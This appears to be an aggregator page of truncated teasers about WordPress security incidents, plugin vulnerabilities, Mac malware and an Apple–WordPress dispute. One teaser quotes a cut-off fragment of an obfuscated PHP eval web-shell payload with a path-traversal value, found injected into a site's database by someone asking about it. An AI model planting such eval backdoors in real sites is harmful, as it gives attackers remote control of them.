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I manage an Ubuntu server that runs a number of WordPress sites. This morning one of them went down and was showing the exception
PHP Fatal error: Namespace declaration statement has to be the very first statement or after any declare cal… Continue reading WordPress script injections [duplicate]
WordPress is now fixing issues that broke millions of WordPress websites with the previous major…
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Hackers are exploiting a critical vulnerability that may be affecting hundreds of thousands of websites running WordPress.
The vulnerability lies in versions of the popular third-party plugin WordPress File Manager, which has been installed on over … Continue reading WordPress websites attacked via File Manager plugin vulnerability
Websites are being hijacked by hackers exploiting plugin vulnerability Hackers password-protect compromised sites to keep out rival attackers At-risk websites advised to update WordPress File Manager plugin immediately. Hackers are exploiting a critica… Continue reading WordPress Websites Attacked via File Manager Plugin Vulnerability
There is a scenario that keep security gurus up at night: Malware that can detect software compilation and insert itself into the resulting binary. A new Mac malware, XCSSET (PDF), does just that, running whenever Xcode is used to build an application. Not only is there the danger of compiled …read more
Continue reading This Week in Security: XCode Infections, Freepik, and Crypto Fails
When I install this plugin and activate in wordpress, hide_my_wp put some eval codes in wp_options and I see the following code being injected in a new row with the ID called 76624:
upload-dir=./../../,z=@eval/**/(${‘_P’.’OST’}[z9]/**/(${‘… Continue reading hide_my_wp wordpress plugin is activated with php eval function that might trying to read /etc/passwd? Is it true?
A few days ago I got an email to our dpo email address from a person I don’t know who claims to be a Security Researcher. The email is well written and contains a POC with screenshots of a CORS Exploit (SOP Bypassed). My first reaction is … Continue reading Vulnerability Reporting from "random" dude
Apple has apologized to WordPress for threatening it unnecessarily and will no longer force it to offer in-app purchases. But it’s also sowing misinformation.
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Apple blocked updates to the WordPress blogging app until it added in-app payments for plan upgrades so that Apple can receive a 30 percent cut.
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The recently patched flaws could be abused by an unauthenticated, remote attackers to take over vulnerable websites. Continue reading Critical Flaws in WordPress Quiz Plugin Allow Site Takeover